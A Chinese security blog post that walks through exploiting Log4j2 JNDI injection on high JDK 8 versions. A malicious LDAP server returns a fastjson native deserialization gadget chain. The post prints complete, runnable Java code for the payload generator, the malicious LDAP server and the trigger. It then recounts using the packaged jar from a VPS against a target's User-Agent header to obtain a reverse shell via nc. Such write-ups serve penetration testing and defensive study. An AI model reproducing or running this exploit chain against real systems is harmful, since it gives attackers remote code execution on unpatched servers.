点击上方蓝字关注我们吧
记录一下漏洞复现的过程,文章有错误的地方还请师傅们指出,欢迎各位师傅加群进行技术交流~
在某次项目中扫到了一个log4j2漏洞,立马拿着常用工具一顿猛梭,结果发现该站用的是jdk8,且版本高于1.8.0_191。
查找了网上大部分文章,正常攻击的话高于以下版本就打不了了。
因为高版本在VersionHelper12.loadClass方法中加了一个判断,如下新增了”com.sun.jndi.ldap.object.trustURLCodebase“变量来控制是否允许请求Codebase下载所需的Class文件,且该变量默认为false。
但是我们还是可以正常请求Ldap服务器,所以我们仍然有可能通过自己的恶意Ldap服务器构建返回恶意代码,从而实现注入攻击。接下来,我们就一起来讨论下高版本如何通过Ldap恶意服务器对服务器进行攻击。最近刚好看到Y4tacker老师的文章:
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/
发现fastjson从1.2.49开始也有一条原生反序列化链可用,抱着对方站点用了fastjson的幻想,深夜开启了本地环境搭建和调试。
新建第一个maven项目,jdk版本为1.8.0_221(高于1.8.0_191版本)
将以下内容添入pom中,需要添加引入fastjson,这里我引入了1.2.83版本
`<dependencies>` `<dependency>` `<groupId>org.apache.logging.log4j</groupId>` `<artifactId>log4j-core</artifactId>` `<version>2.12.1</version>` `</dependency>` `<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->` `<dependency>` `<groupId>org.apache.logging.log4j</groupId>` `<artifactId>log4j-api</artifactId>` `<version>2.12.1</version>` `</dependency>` `<dependency>` `<groupId>org.apache.logging.log4j</groupId>` `<artifactId>log4j-1.2-api</artifactId>` `<version>2.12.1</version>` `</dependency>` `<dependency>` `<groupId>org.apache.logging.log4j</groupId>` `<artifactId>log4j-api</artifactId>` `<version>2.17.2</version>` `</dependency>` `<dependency>` `<groupId>com.alibaba</groupId>` `<artifactId>fastjson</artifactId>` `<version>1.2.83</version>` `</dependency>` `</dependencies>`
为了节约时间就没搭建web页面,使用以下代码模拟log4j2漏洞触发点:log4jRCE.java
` ``import org.apache.logging.log4j.Logger;``import org.apache.logging.log4j.LogManager;`` `` ``public class log4jRCE {` `private static final Logger logger = LogManager.getLogger(log4jRCE.class);`` ` `public static void main(String[] args) {` `logger.error("${jndi:ldap://127.0.0.1:1389/a}");` `}``}`
fastjson原生反序列化链exp:cloudCrow.java
`import com.alibaba.fastjson.JSONArray;``import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;``import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;``import javassist.ClassPool;``import javassist.CtClass;``import javassist.CtConstructor;`` ``import javax.management.BadAttributeValueExpException;``import java.io.*;``import java.lang.reflect.Field;``import java.util.HashMap;`` `` ``class cloudCrow {` `// 在一个TemplatesImpl对象上设置一项。TemplatesImpl是Java的内部类,用于XML转换。` `// 这个函数通过反射获取字段,并将其设置为可以访问,然后设置值。` `public static void setValue(TemplatesImpl obj , String name , Object value) throws IllegalAccessException, NoSuchFieldException {` `Field declaredField = obj.getClass().getDeclaredField(name); // 获得声明的字段` `declaredField.setAccessible(true); // 设置字段为可以访问` `declaredField.set(obj,value); // 设置字段的值` `}`` ` `// 这个函数创建了一个新的类,并在这个类的构造函数中执行一个命令。` `// 类是从AbstractTranslet类(用于XML转换)派生的。` `public static byte[] genPayload(String cmd) throws Exception {` `ClassPool pool = ClassPool.getDefault(); // 创建一个新的类池` `CtClass clazz = pool.makeClass("a"); // 创建一个新的类"a"` `CtClass ctClass = pool.get(AbstractTranslet.class.getName()); // 获取AbstractTranslet类` `clazz.setSuperclass(ctClass); // 设置新类的父类为AbstractTranslet` `CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, clazz); // 为新类创建一个构造函数` `ctConstructor.setBody("Runtime.getRuntime().exec(\""+ cmd +"\");"); // 在构造函数中执行命令` `clazz.addConstructor(ctConstructor); // 将构造函数添加到类中` `clazz.getClassFile().setMajorVersion(49); // 设置类的主要版本号` `return clazz.toBytecode(); // 返回这个类的字节码` `}`` `` ` `public static void main(String[] args) throws Exception {` `byte[][] bytess = new byte[][]{genPayload("calc")}; // 调用genPayload函数生成负载`` ` `TemplatesImpl temp = TemplatesImpl.class.newInstance(); // 创建一个新的TemplatesImpl实例` `setValue(temp,"_bytecodes",bytess); // 给TemplatesImpl实例设置字节码` `setValue(temp,"_name","1"); // 给TemplatesImpl实例设置名字` `setValue(temp,"_tfactory",null); // 给TemplatesImpl实例设置变厂对象`` ` `JSONArray jsonArray = new JSONArray(); // 创建一个新的JSON数组` `jsonArray.add(temp); // 将TemplatesImpl实例添加到JSON数组`` ` `BadAttributeValueExpException bd = new BadAttributeValueExpException(null); // 创建一个新的对象` `Field declaredField = bd.getClass().getDeclaredField("val"); // 获取对象的声明字段` `declaredField.setAccessible(true); // 设置字段为可访问的` `declaredField.set(bd,jsonArray); // 将对象的字段设置为JSON数组`` ` `HashMap hashMap = new HashMap(); // 创建一个新的HashMap` `hashMap.put(temp,bd); // 将TemplatesImpl实例和对象添加到HashMap`` ` `ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // 创建一个新的字节数组输出流` `ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); // 创建一个新的对象输出流` `objectOutputStream.writeObject(hashMap); // 将HashMap写入到对象输出流`` ` `byte[] bytes = byteArrayOutputStream.toByteArray(); // 输出流转化为字节数组` `FileOutputStream fos = new FileOutputStream("D:\\1.ser"); // 创建文件输出流` `fos.write(bytes); // 将字节数组写入文件` `}``}`` `
再新建一个ldap服务器项目。(由于短时间没找到合适的工具能将之前生成序列化流文件进行读取,然后再通过ladp服务进行,所以就在网上找了ldap服务端代码然后进行修改) pom.xml
`<?xml version="1.0" encoding="UTF-8"?>``<project xmlns="http://maven.apache.org/POM/4.0.0"` `xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"` `xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">` `<modelVersion>4.0.0</modelVersion>`` ` `<groupId>org.example</groupId>` `<artifactId>demo5</artifactId>` `<version>1.0-SNAPSHOT</version>`` ` `<properties>` `<maven.compiler.source>8</maven.compiler.source>` `<maven.compiler.target>8</maven.compiler.target>` `<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>` `</properties>`` ` `<dependencies>` `<dependency>` `<groupId>org.apache.directory.server</groupId>` `<artifactId>apacheds-all</artifactId>` `<version>2.0.0-M24</version>` `</dependency>` `</dependencies>``</project>`
由于maven 无法拉取 unboundid 这个依赖。。。。。。,这里从网上下了一个手动添加至lib中:下载地址:
https://repo.maven.apache.org/maven2/com/unboundid/unboundid-ldapsdk/3.2.0/unboundid-ldapsdk-3.2.0.jar
ldap服务:LDAPServer2.java
` ``import java.io.File;``import java.io.FileInputStream;``import java.io.IOException;``import java.net.InetAddress;``import java.net.MalformedURLException;``import java.net.URL;``import javax.net.ServerSocketFactory;``import javax.net.SocketFactory;``import javax.net.ssl.SSLSocketFactory;``import com.unboundid.ldap.listener.InMemoryDirectoryServer;``import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;``import com.unboundid.ldap.listener.InMemoryListenerConfig;``import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;``import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;``import com.unboundid.ldap.sdk.Entry;``import com.unboundid.ldap.sdk.LDAPException;``import com.unboundid.ldap.sdk.LDAPResult;``import com.unboundid.ldap.sdk.ResultCode;`` ``import java.util.Base64;`` ``public class LDAPServer2 {` `private static final String LDAP_BASE = "dc=example,dc=com";`` ` `private static byte[] readFileBytes(String filename) throws IOException {` `File file = new File(filename);` `byte[] data = new byte[(int) file.length()];` `try (FileInputStream fis = new FileInputStream(file)) {` `fis.read(data);` `}` `return data;` `}`` ` `public static void main (String[] args) {`` ` `String url = "http://192.168.127.131:8081/#eeee";` `int port = 1389;`` `` ` `try {` `InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);` `config.setListenerConfigs(new InMemoryListenerConfig(` `"listen",` `InetAddress.getByName("0.0.0.0"),` `port,` `ServerSocketFactory.getDefault(),` `SocketFactory.getDefault(),` `(SSLSocketFactory) SSLSocketFactory.getDefault()));`` ` `config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));` `InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);` `System.out.println("Listening on 0.0.0.0:" + port);` `ds.startListening();`` ` `}` `catch ( Exception e ) {` `e.printStackTrace();` `}` `}`` ` `private static class OperationInterceptor extends InMemoryOperationInterceptor {`` ` `private URL codebase;`` `` ` `/**` `*` `*/` `public OperationInterceptor ( URL cb ) {` `this.codebase = cb;` `}`` `` ` `/**` `* {@inheritDoc}` `*` `* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)` `*/` `@Override` `public void processSearchResult ( InMemoryInterceptedSearchResult result ) {` `String base = result.getRequest().getBaseDN();` `Entry e = new Entry(base);` `try {` `sendResult(result, base, e);` `}` `catch ( Exception e1 ) {` `e1.printStackTrace();` `}`` ` `}`` `` ` `protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {`` `` ` `URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));` `System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);` `e.addAttribute("javaClassName", "Exploit");` `String cbstring = this.codebase.toString();` `int refPos = cbstring.indexOf('#');` `if ( refPos > 0 ) {` `cbstring = cbstring.substring(0, refPos);` `}``// e.addAttribute("javaCodeBase", cbstring);``// e.addAttribute("objectClass", "javaNamingReference");``// e.addAttribute("javaFactory", this.codebase.getRef());` `e.addAttribute("javaClassName", "foo");` `e.addAttribute("javaSerializedData", readFileBytes("D:\\1.ser"));` `result.sendSearchEntry(e);` `result.setResult(new LDAPResult(0, ResultCode.SUCCESS));` `}`` ` `}``}`
文件操作:在内存中读取并存储指定文件内容,并返回存储该文件内容的字节数组。
在XML元素e上添加两个属性,分别名为javaClassName和javaSerializedData,并分别赋予它们值foo和从D:\1.ser文件读取的字节数据。
项目搭建好后,首先在第一个项目中的cloudCrow.java点击运行,会在本地D盘生成序列为文件exp.ser
然后再运行第二个项目的LDAPServer文件
最后再回到第一个项目中的log4jRCE.java中触发漏洞
成功弹出计算器,且ldap服务接到请求,说明复现成功了。
匆匆忙忙的终于把复现环境给搭建起来了,项目时间紧迫,这次只能将就点用了。立马直接打包成jar包上传至vps中使用,尝试是否在项目上拿到shell。后续摸索着写一个工具将链内置工具里,因为fastjson用的站挺多的,且在83版本下也能拿shell。
编写反弹shell命令
将反弹shell命令添加至于log4jRCE.java中,运行生成的exp.ser上传至攻击机
运行jar包后,就会开启ldap的1389端口服务读取exp.ser序列化文件
再使用nc开启80端口监听
漏洞点在User-Agent处,使用bp发包
攻击机成功接收到,并且返回对方jdk版本
nc监听这边也成功拿到了shell
之后遇到了log4j漏洞且jdk版本过高,可先判断该站点使用了哪些组件或库以及对应利用链的版本要求,例如:fastjson、jackson、CC、CB、groovy、hibernate等,当然有源码的情况下就最好了。然后使用ldap/rmi+利用链来进行攻击。最后,文章中描述有误的地方还请师傅们指出。
加入我们学习群一起学习交流,一群已超过200人,可扫 码添加左侧运营微信发送验证”云鸦“进入,也可以扫码直接二群,欢迎师傅们一起学习交流,每天学习安全新知识~
免责声明:请勿将本项目技术或代码应用在恶意软件制作、软件著作权/知识产权盗取或不当牟利等非法用途中。本项目提及的技术仅可用于私人学习测试等合法场景中,任何不当利用该技术所造成的刑事、民事责任均与本项目作者无关。